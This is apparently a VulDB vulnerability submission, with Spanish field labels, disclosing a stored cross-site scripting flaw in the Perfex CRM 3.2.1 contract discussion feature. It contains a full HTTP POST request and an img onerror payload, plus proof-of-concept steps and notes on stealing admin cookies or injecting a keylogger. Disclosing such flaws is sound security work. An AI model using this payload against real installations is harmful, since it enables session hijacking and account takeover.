| Título | CodeCanyon Perfex CRM 3.2.1 Stored Cross Site Scripting |
|---|
| Descripción | A Stored Cross-Site Scripting (XSS) vulnerability has been identified in the Contracts Module of Perfex CRM. This vulnerability permits authenticated client users to inject malicious JavaScript payloads. The input generated by this vulnerability is stored within the contract discussion section and is executed when an administrator accesses the contract. This situation poses significant risks, including the potential for session hijacking, phishing attacks, or the complete compromise of user accounts.
Example Request:
POST /perfex/contract/3/33a4e5c951a2eb02fd0cb5da5af0ad3e HTTP/1.1
Host: 192.168.1.11
Content-Length: 139
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.1.11
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.11/perfex/contract/3/33a4e5c951a2eb02fd0cb5da5af0ad3e
Accept-Encoding: gzip, deflate, br
Cookie: contact_language=english; csrf_cookie_name=a77eab9f9ce71314136c96e567cc5c54; sp_session=tjk37hhbghll23a48k9tdp6v0jr7l5pk
Connection: keep-alive
csrf_token_name=a77eab9f9ce71314136c96e567cc5c54&content=%26lt%3Bimg+src%3Dx+onerror%3Dalert%28%22XSS%22%29%26gt%3B&action=contract_comment
Affected Endpoint
POST /perfex/contract/{contract_id}/{hash} HTTP/1.1
Proof-of-Concept (PoC)
Client Logs In to Perfex CRM.
Navigates to http://192.168.1.11/perfex/contract/{id}.
Submits a stored XSS payload in the discussion:
1<img src=x onerror=alert(1)>
Admin Opens the Contract Discussion.
JavaScript Executes, Triggering Stored XSS.
Impact
Attackers can steal admin session cookies via JavaScript
Automatic Execution: Unlike click-based XSS, this payload triggers instantly when the admin views the page.
Full Account Takeover: Inject a keylogger to capture admin input. |
|---|
| Fuente | ⚠️ https://bytium.com/stored-xss-in-perfex-crm-3-2-1-contracts-module/ |
|---|
| Usuario | suffer (UID 74855) |
|---|
| Sumisión | 2025-03-18 22:37 (hace 1 Año) |
|---|
| Moderación | 2025-03-30 09:34 (11 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 302026 [CodeCanyon Perfex CRM hasta 3.2.1 Contracts /contract content secuencias de comandos en sitios cruzados] |
|---|
| Puntos | 20 |
|---|